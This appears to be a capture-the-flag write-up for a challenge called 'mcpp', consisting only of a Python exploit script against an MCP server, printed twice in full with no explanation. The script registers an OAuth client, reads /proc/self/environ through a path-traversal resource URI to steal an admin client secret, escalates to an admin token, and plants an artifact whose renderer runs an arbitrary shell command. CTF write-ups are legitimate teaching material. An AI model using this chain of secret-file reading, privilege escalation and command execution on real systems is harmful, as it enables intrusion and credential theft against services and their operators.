HyperSonic CTF 2026 mcpp Writeup

import base64
import hashlib
import json
import os
import secrets
import urllib.parse

import requests


BASE = "<base-url>"
REDIRECT_URI = "http://127.0.0.1/callback"


class McpClient:
    def __init__(self, token):
        self.session = requests.Session()
        self.next_id = 1
        self.headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
        }

    def start(self):
        res = self.session.post(
            f"{BASE}/mcp",
            headers=self.headers,
            json={
                "jsonrpc": "2.0",
                "id": self.next_id,
                "method": "initialize",
                "params": {
                    "protocolVersion": "2025-06-18",
                    "capabilities": {},
                    "clientInfo": {"name": "client", "version": "0.1"},
                },
            },
            timeout=10,
        )
        self.next_id += 1
        res.raise_for_status()
        self.headers["mcp-session-id"] = res.headers["mcp-session-id"]

        self.session.post(
            f"{BASE}/mcp",
            headers=self.headers,
            json={"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}},
            timeout=10,
        )

    def request(self, method, params):
        res = self.session.post(
            f"{BASE}/mcp",
            headers=self.headers,
            json={"jsonrpc": "2.0", "id": self.next_id, "method": method, "params": params},
            timeout=15,
        )
        self.next_id += 1
        res.raise_for_status()
        return res.json()

    def tool(self, name, arguments=None):
        data = self.request("tools/call", {"name": name, "arguments": arguments or {}})
        return data["result"]["content"][0]["text"]

    def read_resource(self, uri):
        data = self.request("resources/read", {"uri": uri})
        return data["result"]["contents"][0]["text"]

    def lfi(self, path):
        uri = "hypersonic://runbook/" + urllib.parse.quote(path, safe="")
        return self.read_resource(uri)


def pkce_user_token():
    session = requests.Session()
    reg = session.post(
        f"{BASE}/register",
        json={
            "redirect_uris": [REDIRECT_URI],
            "client_name": "client",
            "grant_types": ["authorization_code", "refresh_token"],
            "response_types": ["code"],
            "scope": "hypersonic:user",
            "token_endpoint_auth_method": "client_secret_post",
        },
        timeout=10,
    )
    reg.raise_for_status()
    client = reg.json()

    verifier = base64.urlsafe_b64encode(os.urandom(32)).decode().rstrip("=")
    digest = hashlib.sha256(verifier.encode()).digest()
    challenge = base64.urlsafe_b64encode(digest).decode().rstrip("=")

    auth = session.get(
        f"{BASE}/authorize",
        params={
            "response_type": "code",
            "client_id": client["client_id"],
            "redirect_uri": REDIRECT_URI,
            "scope": "hypersonic:user",
            "state": "x",
            "code_challenge": challenge,
            "code_challenge_method": "S256",
        },
        allow_redirects=False,
        timeout=10,
    )
    auth.raise_for_status()
    query = urllib.parse.urlparse(auth.headers["Location"]).query
    code = urllib.parse.parse_qs(query)["code"][0]

    token = session.post(
        f"{BASE}/token",
        data={
            "grant_type": "authorization_code",
            "code": code,
            "redirect_uri": REDIRECT_URI,
            "client_id": client["client_id"],
            "client_secret": client["client_secret"],
            "code_verifier": verifier,
        },
        timeout=10,
    )
    token.raise_for_status()
    return token.json()["access_token"]


def parse_environ(text):
    env = {}
    for item in text.split("\x00"):
        if "=" in item:
            key, value = item.split("=", 1)
            env[key] = value
    return env


def admin_token(secret):
    res = requests.post(
        f"{BASE}/oauth/token",
        data={
            "grant_type": "client_credentials",
            "client_id": "hypersonic-admin",
            "client_secret": secret,
            "scope": "hypersonic:admin",
        },
        timeout=10,
    )
    res.raise_for_status()
    return res.json()["access_token"]


def command_artifact(command):
    suffix = secrets.token_hex(3).upper()
    artifact_id = f"HYP-F{suffix}"
    profile_name = f"p{suffix.lower()}"
    return artifact_id, {
        "id": artifact_id,
        "title": "Preview",
        "severity": "low",
        "summary": "preview command",
        "component": "preview",
        "affected_assets": ["preview"],
        "owner": "client",
        "tags": ["preview"],
        "profile": {
            "name": profile_name,
            "defaults": {
                "views": {
                    "preview": {"adapter": "process"},
                    "adapters": {"process": {"renderer": "process"}},
                    "renderers": {"process": {"command": command}},
                }
            },
        },
    }


def run_command(command):
    user = McpClient(pkce_user_token())
    user.start()
    env = parse_environ(user.lfi("/proc/self/environ"))

    admin = McpClient(admin_token(env["HYPERSONIC_ADMIN_CLIENT_SECRET"]))
    admin.start()

    artifact_id, artifact = command_artifact(command)
    admin.tool("admin_write_artifact", {"artifact_json": json.dumps(artifact)})
    obj = json.loads(admin.tool("read_artifact", {"artifact_id": artifact_id}))
    preview = obj["preview"]
    return preview.get("stdout", "") + preview.get("stderr", "")


print(run_command(["/bin/sh", "-c", "test -x /readflag && /readflag"]))

import base64
import hashlib
import json
import os
import secrets
import urllib.parse

import requests


BASE = "<base-url>"
REDIRECT_URI = "http://127.0.0.1/callback"


class McpClient:
    def __init__(self, token):
        self.session = requests.Session()
        self.next_id = 1
        self.headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
        }

    def start(self):
        res = self.session.post(
            f"{BASE}/mcp",
            headers=self.headers,
            json={
                "jsonrpc": "2.0",
                "id": self.next_id,
                "method": "initialize",
                "params": {
                    "protocolVersion": "2025-06-18",
                    "capabilities": {},
                    "clientInfo": {"name": "client", "version": "0.1"},
                },
            },
            timeout=10,
        )
        self.next_id += 1
        res.raise_for_status()
        self.headers["mcp-session-id"] = res.headers["mcp-session-id"]

        self.session.post(
            f"{BASE}/mcp",
            headers=self.headers,
            json={"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}},
            timeout=10,
        )

    def request(self, method, params):
        res = self.session.post(
            f"{BASE}/mcp",
            headers=self.headers,
            json={"jsonrpc": "2.0", "id": self.next_id, "method": method, "params": params},
            timeout=15,
        )
        self.next_id += 1
        res.raise_for_status()
        return res.json()

    def tool(self, name, arguments=None):
        data = self.request("tools/call", {"name": name, "arguments": arguments or {}})
        return data["result"]["content"][0]["text"]

    def read_resource(self, uri):
        data = self.request("resources/read", {"uri": uri})
        return data["result"]["contents"][0]["text"]

    def lfi(self, path):
        uri = "hypersonic://runbook/" + urllib.parse.quote(path, safe="")
        return self.read_resource(uri)


def pkce_user_token():
    session = requests.Session()
    reg = session.post(
        f"{BASE}/register",
        json={
            "redirect_uris": [REDIRECT_URI],
            "client_name": "client",
            "grant_types": ["authorization_code", "refresh_token"],
            "response_types": ["code"],
            "scope": "hypersonic:user",
            "token_endpoint_auth_method": "client_secret_post",
        },
        timeout=10,
    )
    reg.raise_for_status()
    client = reg.json()

    verifier = base64.urlsafe_b64encode(os.urandom(32)).decode().rstrip("=")
    digest = hashlib.sha256(verifier.encode()).digest()
    challenge = base64.urlsafe_b64encode(digest).decode().rstrip("=")

    auth = session.get(
        f"{BASE}/authorize",
        params={
            "response_type": "code",
            "client_id": client["client_id"],
            "redirect_uri": REDIRECT_URI,
            "scope": "hypersonic:user",
            "state": "x",
            "code_challenge": challenge,
            "code_challenge_method": "S256",
        },
        allow_redirects=False,
        timeout=10,
    )
    auth.raise_for_status()
    query = urllib.parse.urlparse(auth.headers["Location"]).query
    code = urllib.parse.parse_qs(query)["code"][0]

    token = session.post(
        f"{BASE}/token",
        data={
            "grant_type": "authorization_code",
            "code": code,
            "redirect_uri": REDIRECT_URI,
            "client_id": client["client_id"],
            "client_secret": client["client_secret"],
            "code_verifier": verifier,
        },
        timeout=10,
    )
    token.raise_for_status()
    return token.json()["access_token"]


def parse_environ(text):
    env = {}
    for item in text.split("\x00"):
        if "=" in item:
            key, value = item.split("=", 1)
            env[key] = value
    return env


def admin_token(secret):
    res = requests.post(
        f"{BASE}/oauth/token",
        data={
            "grant_type": "client_credentials",
            "client_id": "hypersonic-admin",
            "client_secret": secret,
            "scope": "hypersonic:admin",
        },
        timeout=10,
    )
    res.raise_for_status()
    return res.json()["access_token"]


def command_artifact(command):
    suffix = secrets.token_hex(3).upper()
    artifact_id = f"HYP-F{suffix}"
    profile_name = f"p{suffix.lower()}"
    return artifact_id, {
        "id": artifact_id,
        "title": "Preview",
        "severity": "low",
        "summary": "preview command",
        "component": "preview",
        "affected_assets": ["preview"],
        "owner": "client",
        "tags": ["preview"],
        "profile": {
            "name": profile_name,
            "defaults": {
                "views": {
                    "preview": {"adapter": "process"},
                    "adapters": {"process": {"renderer": "process"}},
                    "renderers": {"process": {"command": command}},
                }
            },
        },
    }


def run_command(command):
    user = McpClient(pkce_user_token())
    user.start()
    env = parse_environ(user.lfi("/proc/self/environ"))

    admin = McpClient(admin_token(env["HYPERSONIC_ADMIN_CLIENT_SECRET"]))
    admin.start()

    artifact_id, artifact = command_artifact(command)
    admin.tool("admin_write_artifact", {"artifact_json": json.dumps(artifact)})
    obj = json.loads(admin.tool("read_artifact", {"artifact_id": artifact_id}))
    preview = obj["preview"]
    return preview.get("stdout", "") + preview.get("stderr", "")


print(run_command(["/bin/sh", "-c", "test -x /readflag && /readflag"]))